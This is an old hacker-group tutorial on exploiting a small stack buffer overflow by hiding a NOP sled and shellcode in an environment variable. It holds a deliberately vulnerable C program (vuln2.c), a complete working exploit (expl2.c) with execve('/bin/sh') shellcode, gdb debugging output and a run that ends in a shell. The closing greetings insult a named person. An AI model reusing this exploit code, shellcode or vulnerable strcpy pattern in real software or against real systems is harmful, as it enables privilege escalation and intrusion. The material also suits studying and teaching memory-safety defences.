Exploitation of stack based buffer overflows Part 2 - The Itch / BsE ------------------------------------------- As promised, i will explain in part 2 how to exploit stack based buffer overflows of very small buffers (techniques described in this paper only work with local exploits though!). And furthermore i will explain what alignment is in a exploit and how it works. As you will eventually see when you continue reading this paper is, that the exploitcode used in this paper is way more efficient then the code used in my last paper, the only downfall is that techniques in here only work with local exploits. Check out the vulnerable program below. It has a buffer of only 10 bytes. You wont be able to fit shellcode in there, because the smallest shellcode you can make is about 25 bytes. (see for more shellcode: http://bse.die.ms/~itchie/stuff/shellcode.h) --------vuln2.c----------- /* vuln2.c * Coded by The Itch / BsE * * root@bse.die.ms * http://bse.die.ms */ #include #include #include int main(int argc, char *argv[]) { char buffer[10]; char *buf2; if(getenv("TEST") == 0) { printf("error, no enviromental string found!\n"); printf("Aborting program...\n\n"); exit(0); } if(argc < 2) { printf("usage: %s \n\n", argv[0]); exit(0); } buf2 = getenv("TEST"); strcpy(buffer, buf2); printf("Using enviromental string: %s\n", buf2); return 0; } /* This is the same vulnerable program as the last one in my previous * article. */ --------vuln2.c-------------- As you can see we have a problem, how are we going to fit shellcode of 25 bytes into 10 bytes? That is where the enviroment comes in. As you could read in my previous article, we placed our NOP's, our shellcode and our return address into one enviroment variable called $EGG. Type export for example, and you will see all your enviroment variables. If you type $HOME you will see the value that the enviroment varaible HOME has at this very moment. With export HOME=/home/itchie you can change the contents of the HOME enviroment variable. Enviroment variables are stored in the top of the stack, at the moment your program is started. (how usefull, thats very close to ESP). Below you see the exploit code we used for vuln2.c Exploit code partly taken over from aleph1's article, all comments are mine. -------------------------expl2.c----------------------- /* expl2.c for vuln2.c according to my article about stack based buffer * overflows. * * Coded by The Itch / BsE * * root@bse.die.ms * http://bse.die.ms */ #include #include /* The size of our total shellcode + NOP's buffer */ #define DEFAULT_EGG_SIZE 2048 /* It is adviced to use about 100 bytes more then the buffer you try * to overflow */ #define DEFAULT_BUFFER_SIZE 110 /* see part 1 */ #define NOP 0x90 /* the shellcode, see part 1 */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(void) { /* Variable declaration, if you dont get this, find another * hobby, like collecting stamps or something ;-) */ char *buff; char *egg; char *ptr; long *addr_ptr; long addr; int bsize = DEFAULT_BUFFER_SIZE; int eggsize = DEFAULT_EGG_SIZE; int i; int align = 0; /* a way to get the ESP without using assembly instructions */ int get_esp = (int)&get_esp /* exploit usage: ./expl2 buffersize alignment */ if(argc > 1) { bsize = atoi(argv[1]); } if(argc > 2) { align = atoi(argv[2]); } /* reserver memory for buff en egg */ if(!(buff = malloc(bsize))) { printf("Unable to allocate memory for %d bytes\n", bsize); exit(0); } if(!(egg = malloc(eggsize))) { printf("Unable to allocate memory for %d bytes\n", eggsize); exit(0); } printf("exploit for vuln2\n"); printf("Coded by The Itch / BsE\n\n"); printf("stack pointer(ESP): 0x%x\n", get_esp); printf("Using buffersize: %d\n", bsize); printf("Alignment: %d\n", align); /* alignment, see explanation below */ ptr = buff + align; addr_ptr = (long *) ptr; /* fill the buffer that needs to be overflowed with the * return address of our shellcode */ for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_esp; } ptr = egg; /* fill egg with NOP's minus the length of our shellcode. * And reserve 1 byte for the null endian */ for(i = 0; i < eggsize - strlen(shellcode) -1; i++) { *(ptr++) = NOP; } /* and place behind the NOP's our shellcode */ for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } /* endian null string to close our variables */ buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; /* Place our shellcode with NOP's in the enviroment */ memcpy(egg, "EGG=", 4); putenv(egg); /* Place also an extra enviroment variable with the return * address of our shellcode into the enviroment (the enviroment * is called TEST because our vulnerable program gets its data * from this variable). */ memcpy(buff, "TEST=", 5); putenv(buff); /* And execute our vulnerable program */ system("./vuln2 bla"); return 0; } -------------------expl2.c----------------- Now compile vuln2.c and expl2.c, enable core dumping (ulimit -c unlimited) and run the exploit. [itchie@daveli whiz]$ ./expl2 Exploit for vuln2.c Coded by The Itch / BsE stack pointer: 0xbffff9a4 Using buffersize: 110 Alignment: 0 [itchie@daveli whiz]$ Too bad, it didnt work, but why? If everything went ok there should be a core file now, because vuln2 segfaulted (but you dont see that because that got executed on the background). Lets take a look at the core file. [itchie@daveli whiz]$ gdb vuln2 core GNU gdb 19991116 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux"... Core was generated by `./vuln2 blabla'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0xf4bffff9 in ?? () (gdb) info registers eip eip 0xf4bffff9 0xf4bffff9 (gdb) quit Our return address is 0xbffff9a4, but it shows inhere 0xf4bffff9. Thats not really right. But what did really happend ? The memory works in pairs of 4 bytes as explained in my previous article. Imagine that this is the memory, and 0x11223344 is our return address [###################][11223344] [112233441122334411223344] Normally we use an enviromental string named RET= with memcpy to put that word before our return address string. RET= is exactly 4 bytes long, so the alignment would be 0, but in our case we have to place TEST= in front of it to have our vulnerable program execute the dangerous strcpy() function. TEST= is, as you can count 6 bytes long, and messing up our alignment of our return address in memory, we can fix that by doing aligning lets just look at the examples: [###################][44112233] [4411223344112233441122334411] As you can see, the last 1 byte of our return address was put infront. Lets get out our gdb info. Our return address was: 0xbffff9d8 The return address that was written in the stack is: (gdb) info registers eip eip 0xf4bffff9 0xf4bffff9 Hmm, 0xbffff9d4 and 0xf4bffff9 as you can see our return address isnt aligned and differs 1 or maybe 2 bytes. We solve that by compensating that byte. How do we do that? We create an integer named align, and place that right before we start building our exploit: ptr = buff + align; Aligns could be between the 0 or 3 bytes (memory works in pairs of 4 bytes). Start the exploit like this: ./expl2 110 0 [itchie@daveli whiz]$ ./expl2 110 0 Exploit for vuln2.c Coded by The Itch / BsE stack pointer: 0xbffff9a4 Using buffersize: 110 Alignment: 0 [itchie@daveli whiz]$ Still doesnt work, alignment is probaby wrong, rerun the exploit like this: ./expl2 110 1 [itchie@daveli whiz]$ ./expl2 110 1 Exploit for vuln2.c Coded by The Itch / BsE stack pointer: 0xbffff9a4 Using buffersize: 110 Alignment: 1 sh-2.03$ and Baboom! we got our shell! It seemed that our return address was not aligned by only one byte, en we fixed that like this. [The build of the exploit] In my first article i placed the shellcode, nops and the return address like this: N = NOP S = Shellcode R = Return address EGG = [NNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSRRRRRRRRR] This is a very inefficient methode, because in 99% of these cases we need bruteforcing to get our shell. With the exploit described above, i do it like this: EGG = [NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSSS] RET = [RRRRRRRRRRRRRRRRRRR] Because i set EGG at the end of my enviroment, its at the top of the stack. And since i can make the enviroment as big as i want (i use per standard about 2048 bytes for my shellcode and nops). Is my chance of hitting the right return address at the first try without bruteforcing. Have phun, and learn on, this is only the tip of the iceberg. As someone once stated it, exploiting is truly an art. greetings, - The Itch / BsE - root@bse.die.ms - http://bse.die.ms /* greetings: Xistence, Wildcoyote, Lucipher, Script0r, Calimonk, C-murdah, * zer0, Pyra, Zephyr, kn00p, ThePike, Reflex, Tozz, * mikl0, X-wartech, Goolie, Cerial, Digger3, Silenoz, * Twins, Zappa, Heather, Di]v[pLeS, mysticgirl, Sense, * Tweak, Steele, zenomorph, codemastr, Retard, Redeemer, * Yoda, llthangel, Ron885, Dogbert, Genetics, J_Jay, cooder, * Cecrops, Crane|dog, Lord_choo3s, Rat, Zappa, Darkhunter, * Rage, Shadowlady, gyan * * Flames: Tratulla, and ofcourse every DoS kiddiot. * furthermore, a special word towards this scriptkiddiot: * * Oh well, this one is especially dedicated to one of the greatest * scriptkiddiots on this side of the universe. Has completely no skills. * This deface kiddiot has no clue how to code a simple hello world program. * To look for an even greater idiot then him you have to look REALLY hard * (probably wont exist either). You all know of who im talking about, * his nickname is: addiceyes * */